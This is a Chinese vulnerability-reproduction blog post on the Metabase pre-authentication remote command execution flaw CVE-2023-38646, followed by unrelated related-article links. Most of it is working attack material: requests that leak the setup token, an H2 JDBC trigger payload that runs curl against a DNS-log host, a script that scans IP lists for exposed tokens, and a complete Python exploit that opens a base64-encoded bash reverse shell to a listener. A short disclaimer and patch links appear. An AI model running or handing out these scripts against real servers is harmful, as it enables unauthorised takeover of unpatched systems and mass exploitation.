【漏洞复现】Metabase 远程命令执行漏洞(CVE-2023-38646)

news2024/11/20 19:44:24

文章目录

  • 前言
  • 声明
  • 一、漏洞介绍
  • 二、影响版本
  • 三、漏洞原理
  • 四、漏洞复现
  • 五、修复建议


前言

Metabase 0.46.6.1之前版本和Metabase Enterprise 1.46.6.1之前版本存在安全漏洞,未经身份认证的远程攻击者利用该漏洞可以在服务器上以运行 Metabase 服务器的权限执行任意命令


声明

请勿利用文章内的相关技术从事非法测试,由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失,均由使用者本人负责,所产生的一切不良后果与文章作者无关。该文章仅供学习用途使用。

一、漏洞介绍

Metabase是美国Metabase公司的一个开源数据分析平台。Metabase是一个开源的数据分析和可视化工具,它可以帮助用户轻松地连接到各种数据源,包括数据库、云服务和API,然后使用直观的界面进行数据查询、分析和可视化。

Metabase 0.46.6.1之前版本和Metabase Enterprise 1.46.6.1之前版本存在安全漏洞,该漏洞源于允许攻击者以服务器的权限级别在服务器上执行任意命令

二、影响版本

在这里插入图片描述


三、漏洞原理

未经身份认证的远程攻击者利用该漏洞可以在服务器上以运行 Metabase 服务器的权限执行任意命令

四、漏洞复现

FOFA: app="Metabase"

在这里插入图片描述
验证漏洞是否存在:

GET /api/session/properties HTTP/1.1
Host: 127.0.0.1
Content-Type: application/json

在这里插入图片描述
回显中存在Setup-token,使用token进行后续利用。(这里测试Dnslog回显)

POST /api/setup/validate HTTP/2
Host: 127.0.0.1
Content-Type: application/json
Content-Length: 748

{
    "token": "d3*********************************e2",
    "details":
    {
        "is_on_demand": false,
        "is_full_sync": false,
        "is_sample": false,
        "cache_ttl": null,
        "refingerprint": false,
        "auto_run_queries": true,
        "schedules":
        {},
        "details":
        {
            "db": "zip:/app/metabase.jar!/sample-database.db;MODE=MSSQLServer;TRACE_LEVEL_SYSTEM_OUT=1\\;CREATE TRIGGER pwnshell BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript\njava.lang.Runtime.getRuntime().exec('curl vl5fa6.dnslog.cn')\n$$--=x",
            "advanced-options": false,
            "ssl": true
        },
        "name": "an-sec-research-team",
        "engine": "h2"
    }
}

在这里插入图片描述
有回显,漏洞存在!!!

其他验证方式

XPOC验证
在这里插入图片描述
Nuclei验证
nuclei.exe -u https://X.X.X.X/ -t CVE-2023-38646.yaml
在这里插入图片描述
CVE-2023-38646.yaml 内容如下

id: CVE-2023-38646

info:
  name: Metabase - Unauthorized RCE
  author: unknown
  severity: critical
  description: |
    Metabase has unauthorized access to execute arbitrary commands.
  reference:
    - https://mp.weixin.qq.com/s/ATFwFl-D8k9QfQfzKjZFDg
  tags: metabase,cve,cve2023

http:
  - raw:
      - |
        GET /api/session/properties HTTP/1.1
        Host: {{Hostname}}
      - |
        POST /api/setup/validate HTTP/2
        Host: {{Hostname}}
        Content-Type: application/json
        Content-Length: 244

        {"token":"{{token}}","details":{"is_on_demand":false,"is_full_sync":false,"is_sample":false,"cache_ttl":null,"refingerprint":true,"auto_run_queries":true,"schedules":{},"details":{},"name":"test","engine":"mysql"}}}
    matchers-condition: and
    matchers:
      - type: word
        part: body_2
        words:
          - "we couldn't connect to the database"
    
    extractors:
      - type: regex
        part: body_1
        group: 1
        name: token
        regex:
          - '"setup-token":"(.*?)"'
        internal: true

除以上方法外,可以直接使用脚本获取token并反弹Shell

import requests
import argparse
import json
from requests.packages.urllib3.exceptions import InsecureRequestWarning

# Suppress only the single warning from urllib3 needed.
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

def get_setup_token(ip_address, line_number=None):
    endpoint = "/api/session/properties"
    protocols = ['https://', 'http://']

    for protocol in protocols:
        url = f"{protocol}{ip_address}{endpoint}"
        try:
            response = requests.get(url, verify=False)

            if response.status_code == 200:
                data = response.json()
                if "setup-token" in data and data["setup-token"] is not None:
                    print(f"{line_number}. Vulnerable Metabase Instance:-")
                    print(f"             IP: {ip_address}")
                    print(f"             Setup Token: {data['setup-token']}\n")
                else:
                    print(f"{line_number}. Setup token not found or is null for IP: {ip_address}\n")
                return  # exit the function if request was successful
        except requests.exceptions.RequestException as e:
            print(f"Failed to connect using {protocol[:-3].upper()} for {ip_address}. Trying next protocol...")

    print(f"{line_number}. Failed to connect to {ip_address} using both HTTP and HTTPS.\n")

if __name__ == "__main__":
    parser = argparse.ArgumentParser(description='Check setup token')
    parser.add_argument('--ip', type=str, help='IP address')
    parser.add_argument('--list', type=str, help='Filename containing list of IP addresses')
    args = parser.parse_args()

    if args.ip:
        get_setup_token(args.ip)
    elif args.list:
        with open(args.list, 'r') as f:
            for i, line in enumerate(f, start=1):
                ip_address = line.strip()
                get_setup_token(ip_address, i)
    else:
        print("Please provide either an IP address or a file containing a list of IP addresses.")

在这里插入图片描述

import requests
import argparse
import base64
import json
from requests.packages.urllib3.exceptions import InsecureRequestWarning
from urllib.parse import urlparse

requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

def get_setup_token_and_version(ip_address):
    endpoint = "/api/session/properties"
    url = f"{ip_address}{endpoint}"
    try:
        print(f"[DEBUG] Fetching setup token from {url}...")
        response = requests.get(url, verify=False)
        if response.status_code == 200:
            data = response.json()
            setup_token = data.get("setup-token")
            metabase_version = data.get("version", {}).get("tag")

            if setup_token is None:
                print(f"[DEBUG] Setup token not found or is null for IP: {ip_address}\n")
            else:
                print(f"[DEBUG] Setup Token: {setup_token}")
                print(f"[DEBUG] Version: {metabase_version}")

            return setup_token
    except requests.exceptions.RequestException as e:
        print(f"[DEBUG] Exception occurred: {e}")
        print(f"[DEBUG] Failed to connect to {ip_address}.\n")

def post_setup_validate(ip_address, setup_token, listener_ip, listener_port):
    payload = base64.b64encode(f"bash -i >&/dev/tcp/{listener_ip}/{listener_port} 0>&1".encode()).decode()

    print(f"[DEBUG] Payload = {payload}")

    endpoint = "/api/setup/validate"
    url = f"{ip_address}{endpoint}"
    headers = {'Content-Type': 'application/json'}
    data = {
        "token": setup_token,
        "details": {
            "is_on_demand": False,
            "is_full_sync": False,
            "is_sample": False,
            "cache_ttl": None,
            "refingerprint": False,
            "auto_run_queries": True,
            "schedules": {},
            "details": {
                "db": f"zip:/app/metabase.jar!/sample-database.db;MODE=MSSQLServer;TRACE_LEVEL_SYSTEM_OUT=1\\;CREATE TRIGGER pwnshell BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript\njava.lang.Runtime.getRuntime().exec('bash -c {{echo,{payload}}}|{{base64,-d}}|{{bash,-i}}')\n$$--=x",
                "advanced-options": False,
                "ssl": True
            },
            "name": "test",
            "engine": "h2"
        }
    }

    print(f"[DEBUG] Sending request to {url} with headers {headers} and data {json.dumps(data, indent=4)}")

    try:
        response = requests.post(url, headers=headers, json=data, verify=False)
        print(f"[DEBUG] Response received: {response.text}")
        if response.status_code == 200:
            print(f"[DEBUG] POST to {url} successful.\n")
        else:
            print(f"[DEBUG] POST to {url} failed with status code: {response.status_code}\n")
    except requests.exceptions.RequestException as e:
        print(f"[DEBUG] Exception occurred: {e}")
        print(f"[DEBUG] Failed to connect to {url}\n")

def preprocess_url(user_input):
    parsed_url = urlparse(user_input)
    protocol = f"{parsed_url.scheme}://" if parsed_url.scheme else "http://"
    netloc = parsed_url.netloc or parsed_url.path
    return protocol + netloc.rstrip('/')

if __name__ == "__main__":
    parser = argparse.ArgumentParser(description='Check setup token')
    parser.add_argument('--rhost', type=str, help='Metabase server IP address (including http:// or https:// and port number if needed)')
    parser.add_argument('--lhost', type=str, help='Listener IP address')
    parser.add_argument('--lport', type=int, default=4444, help='Listener port (default is 4444)')
    args = parser.parse_args()

    print(f"[DEBUG] Original rhost: {args.rhost}")
    args.rhost = preprocess_url(args.rhost)
    print(f"[DEBUG] Preprocessed rhost: {args.rhost}")

    print(f"[DEBUG] Input Arguments - rhost: {args.rhost}, lhost: {args.lhost}, lport: {args.lport}")

    setup_token = get_setup_token_and_version(args.rhost)
    print(f"[DEBUG] Setup token: {setup_token}")
    if setup_token:
        post_setup_validate(args.rhost, setup_token, args.lhost, args.lport)

在这里插入图片描述

五、修复建议

目前厂商已发布升级补丁以修复漏洞,补丁获取链接:
https://www.metabase.com/blog/security-advisory
https://blog.assetnote.io/2023/07/22/pre-auth-rce-metabase/

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/830287.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

光谱通用积分球的定义和原理

积分球是一个中空的、内壁涂以理想漫反射材料的球体,外部材质一般为金属材料,球壁上开有若干个窗孔,用以放置光接收器或作为球体的进光孔。进入积分球内部的光经内壁漫反射层多次反射以后,在整个内壁上都能得到均匀的照度&#xf…

大数据技术之Hadoop(二)

目录 一、Hadoop的诞生 二、大数据概述 三、大数据软件生态 3.1 数据存储相关技术 3.2 数据计算相关技术 3.3 数据传输相关技术 四、什么是Hadoop 本篇主要讲解大数据的核心概念以及Hadoop的基本介绍。 一、Hadoop的诞生 大数据的发展与日益庞大的数据量是密不可分的。从…

2023 7.31~8.6 周报 (多尺度的DL-FWI + 自然图像的风格迁移速度模型)

->目录<- 0 上周回顾1 本周论文背景简述2 模型架构3 风格化速度模型4 训练与实际数据的测试5 存在的一些问题6 总结和下一步工作 0 上周回顾 上周完成了VelocityGAN的重现和学习. 认识到了利用判别器网络对于常规网络进行约束是很一种很高效的设计思路. 1 本周论文背景…

恒运资本:股票总市值是什么意思?

职业新手可能会疑惑地问&#xff0c;股票总市值到底是什么意思&#xff1f;究竟&#xff0c;这是普通出资者常常看到的词汇&#xff0c;要了解股票总市值的含义&#xff0c;是需求了解金融商场的基本概念的。 股票总市值简介 股票的总市值是由公司一切的股票的数量乘以现在的价…

PREEvision Client 10.6.0

PREEvision Client 10.6.0 2692407267qq.com&#xff0c;更多内容请见http://user.qzone.qq.com/2692407267/

cookie的secure属性详解

cookie的secure属性详解 今天做项目的时候涉及到了cookie跨域传递的问题&#xff0c;也因此了解了cookie的一个属性——secure。 顾名思义&#xff0c;这个属性就是用来保证cookie的安全的。 当secure属性设置为true时&#xff0c;cookie只有在https协议下才能上传到服务器&a…

认识Webpack插件Plugin;CleanWebpackPlugin插件;HtmlWebpackPlugin;DefinePlugin;Mode模式

目录 1_认识插件Plugin2_CleanWebpackPlugin3_HtmlWebpackPlugin4_DefinePlugin4.1_介绍4.2_DefinePlugin的使用 5_Mode模式 1_认识插件Plugin Webpack的另一个核心是Plugin&#xff0c;官方有这样一段对Plugin的描述&#xff1a; While loaders are used to transform certai…

Linux - 进程控制(进程替换)

0.引入 创建子进程的目的是什么&#xff1f; 就是为了让子进程帮我执行特定的任务 让子进程执行父进程的一部分代码 如果子进程想执行一个全新的程序代码呢&#xff1f; 那么就要使用 进程的程序替换 为什么要有程序替换&#xff1f; 也就是说子进程想执行一个全新的程序代码&a…

P3957 [NOIP2017 普及组] 跳房子 (动态规划)(内附封面)

[NOIP2017 普及组] 跳房子 题目背景 NOIP2017 普及组 T4 题目描述 跳房子&#xff0c;也叫跳飞机&#xff0c;是一种世界性的儿童游戏&#xff0c;也是中国民间传统的体育游戏之一。 跳房子的游戏规则如下&#xff1a; 在地面上确定一个起点&#xff0c;然后在起点右侧画…

3.病人排队

【题目】 病人登记看病&#xff0c;编写一个程序&#xff0c;将登记的病人按照以下原则排出看病的先后顺序&#xff1a; 老年人&#xff08;年龄 > 60岁&#xff09;比非老年人优先看病。 老年人按年龄从大到小的顺序看病&#xff0c;年龄相同的按登记的先后顺序排序。 非…

Flutter Flar动画实战

在Flare动面出现之前,Flare动画大体可以分为使用AnimationController控制的基础动画以及使用Hero的转场动画,如果遇到一些复杂的场景,使用这些动画方案实现起来还是有难度的。不过,随着Flutter开始支持Flare矢量动面,Flutter的动画开发也变得越来越简单。事实上,Flare动画…

leetcode 435. 无重叠区间

2023.8.3 本题和引爆气球 这题非常类似&#xff0c;利用同样的思路可以解决&#xff0c;代码如下&#xff1a; class Solution { public:static bool cmp(vector<int>& a , vector<int>& b){if(a[0] b[0]) return a[1] < b[1];return a[0] < b[0];…

cuda入门demo(2)——最基础的二方向sobel

⚠️主要是自己温习用&#xff0c;只保证代码正确性&#xff0c;不保证讲解的详细性。 今天继续总结cuda最基本的入门demo。很多教程会给你说conv怎么写&#xff0c;实际上sobel也是conv&#xff0c;并且conv本身已经用torch实现了。 之前在课题中尝试了sobel的变体&#xff0…

打造完美美妆体验,化妆品商城软件系统助你一臂之力

化妆品商城软件系统采用先进的前后端分离技术&#xff0c;支持多种语言和数据库&#xff0c;具有良好的扩展性和可维护性。同时&#xff0c;一般系统还提供丰富的功能模块&#xff0c;包括商品管理、订单管理、用户管理、营销推广等&#xff0c;可以满足不同规模的化妆品商城的…

在windows配置redis的一些错误及解决方案

目录 Unable to connect to Redis; nested exception is io.lettuce.core.RedisConnectionException:用客户端Redis Desktop Manager一样的密码端口&#xff0c;是可以正常连接的&#xff0c;但是运行java程序之后使用接口请求就会报错 Unable to connect to Redis; nested e…

关于CPU对Cache的访存操作 浅解

最近在做计算机组成原理关于高速缓存处理器的相关习题&#xff0c;由于一开始没有完全理解导致做题时特别崩溃。在做错无数次题后我感觉自己有必要总结一下自己对Cache的理解&#xff0c;以防以后再忘记。 一 | 前因 1 为什么需要Cache? 首先我们需要明白为什么需要使用Cac…

Unity Shader:闪烁

还是一样的分为UI闪烁和物体闪烁,其中具体可分为:UI闪烁、物体闪烁与半透明闪烁 1,UI闪烁 对于UI 还是一样的,改写UI本身的shader: Shader "UI/YydUIShanShder" {Properties{[PerRendererData] _MainTex("Sprite Texture", 2D) = "white"…

[PM]敏捷开发之Scrum总结

在项目管理中&#xff0c;不少企业和项目团队也发现传统的项目管理模式已不能很好地适应今天的项目环境的要求。因此&#xff0c;敏捷项目管理应运而生&#xff0c;本文将为大家介绍Scrum敏捷项目管理以及应用方法。 什么是Scrum敏捷项目管理 敏捷项目管理作为新兴的项目管理模…

一键生成动漫头像小程序源码-含搭建教程

这款程序用来做小程序矩阵&#xff0c;非常不错&#xff0c;可以把他放到你的其他小程序里&#xff0c;或者其他程序系统来弥补程序的丰富性&#xff0c;拓展可玩性。 很多抖音直播也在玩这个&#xff0c;玩法很简单&#xff0c;可以去参考那些直播间 这款程序没有后台&#xf…

python_PyQt5开发验证K线视觉想法工具V1.2_批量验证

目录 运行情况&#xff1a; ​编辑 结果json文件格式&#xff1a; 代码&#xff1a; 承接 【python_PyQt5开发验证K线视觉想法工具V1.1 _增加标记类型_线段】 博文 地址&#xff1a;python_PyQt5开发验证K线视觉想法工具V1.1 _增加标记类型_线段_程序猿与金融与科技的博客-…